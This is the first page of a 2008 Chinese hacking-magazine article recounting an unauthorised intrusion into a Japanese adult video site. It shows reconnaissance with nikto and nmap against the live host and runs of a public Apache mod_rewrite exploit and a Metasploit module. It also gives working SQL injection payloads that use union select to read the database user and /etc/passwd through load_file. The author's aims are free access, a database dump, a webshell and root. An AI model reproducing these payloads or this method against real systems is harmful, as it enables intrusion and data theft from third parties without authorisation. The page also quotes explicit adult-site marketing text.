《黑客防线》↑在攻与防的对立统一中寻求突破!2001年创刊的黑客技术专业刊物!

设为首页
收藏本站
联系我们
网站导航


技术文章 - 内网渗透 - 浏览文章 - linux平台下渗透日本著名XXXXXX.TV
linux平台下渗透日本著名XXXXXX.TV
http://www.hacker.com.cn/ 2008-3-13 0:29:20 黑客防线
来源:纯色笔记
作者(暂叫):knell

因为此站为大名鼎鼎的XX电影站,流量很大,且内容很不和谐,所以一切whois,网站内容,重要渗透信息都不方便公开。(请勿对号入座.)
题记:
第一次在team外写有关渗透的文章,呵呵。当然,还是一如既往的猪肉炖粉条---没技术含量.主要是启发下只会在winows下搞搞asp的"啊D专家,明小子高手们",Linux下一样搞渗透!
整个过程均在Ubuntu 7.10 i386 (Kernel 2.6.22)下完成,没有用到任何windows下的,非GPL的工具...以及任何非公开技术,所有工具都可以在sourceforge下载到源码.
写的断断续续的,今天终于打算给写完了..
目标:这是一个"日本电影站",所以俺的目标很简单...有个能看电影的vip足够咯...当然...能把库dump下来就爽了...厄....有个webshell,不....root就爽大啦。。
正文:
渗透的第一步当然是踩点了,恩,先以一个正常人的角度,转了一圈:)
下面是得到的信息:

恩...涂了半天才把那个女同志不和谐的部分抹掉..
进入主页,先是选择语言,这里注意了下,不是诸如index.php?lang=kr这样加载对应的语言库,而是/kr,/us,并且有单独的一套完整的程序。(Jp目录下个别的文件在US,KR下没有,所以是独立的程序)
接着打开一个链接,恩,是jp/movie_actress.html?actid=1786。观察这个链接,先不说为啥是html...后面的actid明显是"演员名",而且确实有查询,非静态。
再点了下new user,看能免费注册不?
Start your ultimate masterbation live only with US$19.80
xxxxx.tv receives only US$19.80 a month. You can download unlimited number of porn movies.
So many titles, all you can watch!
xxxxx.tv offers any kinds of movie titles. We hold more than 700 movies lined up, including popular pornstar, amateur, and celebrity's covert movies. Also, xxxxx.tv brings new title movies one right after the other. You never ever finish downloading.
DVD class high quality movie
All xxxxx.tv movies are provided by 1Mbps (Mega bit per second); you will be able to watch crisp screen image.
All movie has a free sample
All xxxxx.tv movies proffers free sample movies. Users who haven't signed up yet will receive benefit from this trial.
Free movie collection without a membership!
xxxxx.tv tees up special contents, 1 entire movie download for free. People whether who are our members or not will download 1 entire movie for free. This special contents will be updated periodically, so you can form free movie collection.
恩,$19.8一个月,确实不是很贵哦...
不过中国人一般不会为看电影而买会员的:)
甚至有我这样的贱人.....去XX他...
又看了页面加载信息,发现图片链接是在单独的服务器上,img01.XXXXXX.tv,img02.XXXXX.tv,又点了下sample movie,链接是video015.XXXXXXX.tv,这个该死的sample movie竟然只有1分钟不到,真是够抠门,不过是1500kps....
没有找到登录的地方,直接点full movie,弹出了登录框.随便打了个sucker:sucker,弹出" ログインユーザー名またはパスワードが違います。
ログインに失敗しました。" 失败这俩字我还是认识的...再注意下链接,video.html?videocode=A15-197B&no=100&server =www11&type=n250,根据不同的电影测试,可以判断,videocode是电影编号,no是分段的序列号,server当然是服务器,type是码流。
下面开始探测渗透信息:
knell@Knell-SuckEr:~/nikto-2.02$ ./nikto.pl -host www.XXXXXXX.tv
- ***** SSL support not available (see docs for SSL install instructions) *****
---------------------------------------------------------------------------
- Nikto 2.02/2.03 -
+ Target IP: 66.230.XXX.XXXX
+ Target Hostname: www.XXXXXX.tv
+ Target Port: 80
+ Start Time: 2008-03-03 18:02:09
---------------------------------------------------------------------------
+ Server: Apache/1.3.33 (Unix) PHP/5.0.5
knell@Knell-SuckEr:~/nikto-2.02$
这里用到的工具是nikto,为开源的perl脚本
可以看到banner是Apache/1.3.33 (Unix) PHP/5.0.5,所以应该是LAMP组合了。那为啥页面是.html呢?呵呵,记得apache有个mod_rewrite不?而且...2007年暴出过一个remote buffer overflow级的漏洞哦...
赶紧找出exp,测试下:) (此exp可在milw0rm上找到)
knell@Knell-SuckEr:~$ sudo sh ./apache_mod_rewrite.sh www.xxxxx.tv
-e mod_rewrite apache off-by-one overflow
by jack
HTTP/1.1 400 Bad Request
Date: Fri, 07 Mar 2008 13:32:10 GMT
Server: Apache/1.3.33 (Unix) PHP/5.0.5
Connection: close
Content-Type: text/html; charset=iso-8859-1
400 Bad Request
Bad Request
Your browser sent a request that this server could not understand.
The request line contained invalid characters following the protocol string.
貌似不成功...测试下:) (# Shellcode is based on Taeho Oh bindshell on port 30464 and modified
# for avoiding apache url-escape.. Take a look is quite nice )
knell@Knell-SuckEr:~$ nc www.xxxxx.tv 30464
www.xxxxx.tv [66.230.xxx.xxx] 30464 (?) : Connection refused
果然不成功:) 接着请出metasploit。

21:03:00 - Initialized the Metasploit Framework GUI.
21:03:29 - apache-mod-rewrite [*] Launching exploit windows/http/apache-mod-rewrite...
21:03:30 - apache-mod-rewrite [*] Started bind handler
21:03:31 - apache-mod-rewrite [*] Trying ...
然后就一直trying........trying....没反应了...tcp 4444也连不上 囧:)
看来管理员还不是很傻哦.
那么先继续探测吧..不能指望直接root他...俺可不是某牛...
端口扫描:
knell@Knell-SuckEr:~$ nmap -v -sT www.xxxxx.tv
Starting Nmap 4.53 ( http://insecure.org ) at 2008-03-03 22:55 CST
Initiating Ping Scan at 22:55
Scanning 66.230.xxx.xxx [1 port]
Completed Ping Scan at 22:55, 0.42s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:55
Completed Parallel DNS resolution of 1 host. at 22:55, 0.87s elapsed
Initiating Connect Scan at 22:55
Scanning 66.230.xxx.xxx [1714 ports]
Discovered open port 22/tcp on 66.230.xxx.xxx
Discovered open port 80/tcp on 66.230.xxx.xxx
Discovered open port 21/tcp on 66.230.xxx.xxx
Discovered open port 25/tcp on 66.230.xxx.xxx
Discovered open port 111/tcp on 66.230.xxx.xxx
Discovered open port 3306/tcp on 66.230.xxx.xxx
恩,22当然是ssh咯,banner是SSH-1.99-OpenSSH_3.6.1p2,恩,1.99,有什么利用价值吗?
不废话了,大家直接看cain官网吧:)
Cain & Abel v2.5 beta21 for NT/2000/XP released
New features:
- RSA SecurID Tokens Calculator
The calculator produces valid tokens given the serial number and the activation key of an RSA SecurID device. These parameters are found in Token's activation files typically named "something.ASC".
- SSH-1 sniffer for APR
The sniffer works in in FULL-DUPLEX-MODE decrypting both Client and Server SSH-1 traffic.
It uses APR (Arp Poison Routing) so the attacker's IP and MAC addresses can be totally spoofed and never exposed on the network. APR and a Man-in-the-Middle situation is also required because of the RSA asymmetric encryption used in SSH-1 negotiation's phase. The sniffer supports 3 symmetric encryption algorithms: DES, 3DES and Blowfish. Zlib compression is not supported in this version. The sniffer cannot decrypt SSH-1 traffic if directed to/from the attacker's workstation. Automatic downgrade SSH-2 connections to SSH-1 if server version is v1.99. An example of the output file produced from an SSH-1 session to a Cisco PIX firewall in my test environment is available here.
3306,Mysql是没错了...banner是4.1.7-standard,貌似好多local overflow ,可惜都在地下流传着...
21,ftp banner是220 ProFTPD 1.2.10 Server。Google了一圈,有几个公开的exp,可都测试或者编译失败...这里就不浪费篇幅啦。(要是直接远程root了...那文章就无聊了..)
服务器信息先探测到这里,下面回到web上。
既然服务器是LAMP,那么当然要尝试下sql injection咯。
请出google ,site:xxxxx.tv inurl:php 结果只有一个....
www4.xxxxxxx.tv/rss/rss_videolist.php?type=rss&no=10
而且已经打不开了。
那么 inurl:html,挨个参数用and 1=1 and 1=2,or 1=1 ,or 1=2测试,n久后,找到一个:)比较明显:)
/us/faq.html?faqid=6
and 1=1,and 1=2测试,存在注入,不过还不确定有过滤或者IDS之类,提交单引号,返回了好东西:
warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/g3dezien/xxxxx.tv/public_html/jp/libs2.php on line 638
哈哈,路径出来了!!如果一切顺利...直接outfile个webshell...不过貌似想的太美了...停止YY..继续测试
这里注意到查询是在libs2.php,而不是faq.html,看来是封装了。
接着先手工测试下
判断字段:
faq.html?faqid=1/**/and/**/1=1/**/union/**/select/**/1,2,3,4,5,6,7,8,9/*
9个字段返回了正常,既然支持union,那么找可见的字段直接输出查询内容就好了:)
下面先看下权限:
us/faq.html?faqid=1%20and%201=2%20union%20select%201,2,3,4,system_user(),6,7,8,9%20/*%20and%201=1
在第5个字段返回了:
root@localhost
竟然是...............root........难道真的要准备直接写文件了..?
不是吧..直接就是root?试下暴出etc/passwd:
faqid=1/**/and/**/1=2/**/union/**/select/**/1,2,3,4,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),6,7,8,9/*

1/2页次 第1页 第2页 下一页 最后一页
所属分类: 内网渗透   所属专题:
共有 2096 人次浏览 收藏本页 返回上一页
相关文章
    评论作者:
    电子邮件:
    评论内容:
    投票评价:
    验 证 码:
    图片包含4个随机字符,点击刷新
    请输入上面图片中的随机字符